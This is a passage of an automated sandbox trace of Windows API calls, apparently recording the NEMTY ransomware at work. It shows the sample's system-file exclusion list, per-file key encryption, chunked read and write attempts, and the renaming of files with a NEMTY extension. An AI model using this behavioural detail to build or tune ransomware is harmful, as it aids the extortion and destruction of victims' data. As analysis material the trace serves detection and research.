lpString2="BOOTSECT.BAK") returned -1 [0154.610] lstrcmpiW (lpString1="25.png", lpString2="bootmgr") returned -1 [0154.610] lstrcmpiW (lpString1="25.png", lpString2="programdata") returned -1 [0154.610] lstrcmpiW (lpString1="25.png", lpString2="appdata") returned -1 [0154.610] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="25.png", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0154.610] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="25.png", cchWideChar=6, lpMultiByteStr=0x653ebd0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="25.png", lpUsedDefaultChar=0x0) returned 6 [0154.610] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="25.png", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0154.610] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="25.png", cchWideChar=6, lpMultiByteStr=0x653ebd0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="25.png", lpUsedDefaultChar=0x0) returned 6 [0154.610] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="25.png", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0154.610] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="25.png", cchWideChar=6, lpMultiByteStr=0x653ec20, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="25.png", lpUsedDefaultChar=0x0) returned 6 [0154.610] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="25.png", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0154.610] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="25.png", cchWideChar=6, lpMultiByteStr=0x653ec58, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="25.png", lpUsedDefaultChar=0x0) returned 6 [0154.610] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0154.610] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0154.610] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0154.610] Sleep (dwMilliseconds=0x5) [0154.625] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xfcf81b0, dwHighDateTime=0x1d561e8)) [0154.625] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xfcf81b0, dwHighDateTime=0x1d561e8)) [0154.625] GetLastError () returned 0x5 [0154.625] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0154.625] GetLastError () returned 0x5 [0154.625] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0154.625] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0154.625] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0154.625] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0154.625] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0154.625] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0154.625] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400d0 [0154.625] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x63400d0, pcchString=0x653e91c | out: pszString="CcJ6mlSdNPuctVAplU8clShta3mMsc4LMA7B76dB7ouoqIXFd3Cz1I7nFgrIRY2h\r\n2/qU0DlI6e+7EhBXIfGhoCBQydZrKj86eylDaQJMPxCxj80aIxeZrOeF7jBmcXUo\r\nUskUYY4nR9KspfyYFIkUs3HlwbY78rdvnjq4bCZFYQAJZTb8zy0vZS9lnvP7VSjD\r\npUmuCYrZobj0vWw4nhVAdysTvA4Mx/wm+6nm9dZPCH9jwM39aPc+NQCPEnt9ZVYv\r\n+bitKdfhajnCuFn+iT0z08COUu9ApJQkW1IF4ir3QIIKLGGXEj+At2JAK+GIAoyt\r\nyBvd0rUvdWRHvhzR0Jj2rQ==\r\n", pcchString=0x653e91c) returned 1 [0154.625] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0154.625] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400d0 | out: hHeap=0x4f90000) returned 1 [0154.625] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0154.625] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0154.626] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400d0 [0154.626] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0154.626] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\25.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\25.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0154.626] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0154.626] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0154.626] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0154.626] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0154.635] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0154.635] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0154.635] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0154.635] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0154.644] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0154.644] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0154.644] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0154.644] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0154.654] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0154.654] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0154.654] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0154.654] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0154.663] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0154.663] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0154.663] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0154.663] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0154.672] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0154.673] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0154.673] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0154.673] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0154.682] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0154.682] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0154.682] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0154.682] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0154.691] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0154.691] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0154.691] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0154.691] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0154.700] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0154.700] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0154.700] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0154.700] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0154.709] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0154.709] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0154.709] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0154.709] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0154.719] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0154.719] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0154.719] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0154.720] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0154.725] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0154.725] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0154.726] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0154.726] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0154.731] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0154.731] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0154.731] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0154.731] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63400d0, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0154.732] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0154.732] CloseHandle (hObject=0xffffffff) returned 0 [0154.732] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0154.732] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0154.732] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0154.732] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0154.732] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0154.732] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0154.732] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0154.732] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0154.732] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0154.732] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0154.732] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\25.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\25.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\25.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\25.png._nemty_kgobjgd_")) returned 0 [0154.732] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0154.732] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0154.732] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0154.732] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400d0 | out: hHeap=0x4f90000) returned 1 [0154.732] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0154.732] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0154.732] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0154.732] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0154.732] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x869b1fbc, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x869b1fbc, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2ac5a3e3, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x13c8, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="26.png", cAlternateFileName="")) returned 1 [0154.732] lstrcmpiW (lpString1="26.png", lpString2=".") returned 1 [0154.732] lstrcmpiW (lpString1="26.png", lpString2="..") returned 1 [0154.732] lstrcmpiW (lpString1="26.png", lpString2="...") returned 1 [0154.732] lstrcmpiW (lpString1="26.png", lpString2="windows") returned -1 [0154.732] lstrcmpiW (lpString1="26.png", lpString2="$RECYCLE.BIN") returned 1 [0154.732] lstrcmpiW (lpString1="26.png", lpString2="rsa") returned -1 [0154.732] lstrcmpiW (lpString1="26.png", lpString2="NTDETECT.COM") returned -1 [0154.732] lstrcmpiW (lpString1="26.png", lpString2="ntldr") returned -1 [0154.733] lstrcmpiW (lpString1="26.png", lpString2="MSDOS.SYS") returned -1 [0154.733] lstrcmpiW (lpString1="26.png", lpString2="IO.SYS") returned -1 [0154.733] lstrcmpiW (lpString1="26.png", lpString2="boot.ini") returned -1 [0154.733] lstrcmpiW (lpString1="26.png", lpString2="boot.ini") returned -1 [0154.733] lstrcmpiW (lpString1="26.png", lpString2="AUTOEXEC.BAT") returned -1 [0154.733] lstrcmpiW (lpString1="26.png", lpString2="ntuser.dat") returned -1 [0154.733] lstrcmpiW (lpString1="26.png", lpString2="desktop.ini") returned -1 [0154.733] lstrcmpiW (lpString1="26.png", lpString2="CONFIG.SYS") returned -1 [0154.733] lstrcmpiW (lpString1="26.png", lpString2="RECYCLER") returned -1 [0154.733] lstrcmpiW (lpString1="26.png", lpString2="BOOTSECT.BAK") returned -1 [0154.733] lstrcmpiW (lpString1="26.png", lpString2="bootmgr") returned -1 [0154.733] lstrcmpiW (lpString1="26.png", lpString2="programdata") returned -1 [0154.733] lstrcmpiW (lpString1="26.png", lpString2="appdata") returned -1 [0154.733] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="26.png", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0154.733] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="26.png", cchWideChar=6, lpMultiByteStr=0x653ebd0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="26.png", lpUsedDefaultChar=0x0) returned 6 [0154.733] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="26.png", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0154.733] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="26.png", cchWideChar=6, lpMultiByteStr=0x653ebd0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="26.png", lpUsedDefaultChar=0x0) returned 6 [0154.733] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="26.png", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0154.733] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="26.png", cchWideChar=6, lpMultiByteStr=0x653ec20, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="26.png", lpUsedDefaultChar=0x0) returned 6 [0154.733] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="26.png", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0154.733] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="26.png", cchWideChar=6, lpMultiByteStr=0x653ec58, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="26.png", lpUsedDefaultChar=0x0) returned 6 [0154.733] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0154.733] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0154.733] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0154.733] Sleep (dwMilliseconds=0x5) [0154.734] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xfe02b50, dwHighDateTime=0x1d561e8)) [0154.734] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xfe02b50, dwHighDateTime=0x1d561e8)) [0154.734] GetLastError () returned 0x5 [0154.734] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0154.734] GetLastError () returned 0x5 [0154.734] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0154.734] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0154.734] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0154.734] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0154.734] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0154.734] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0154.735] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400d0 [0154.735] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x63400d0, pcchString=0x653e91c | out: 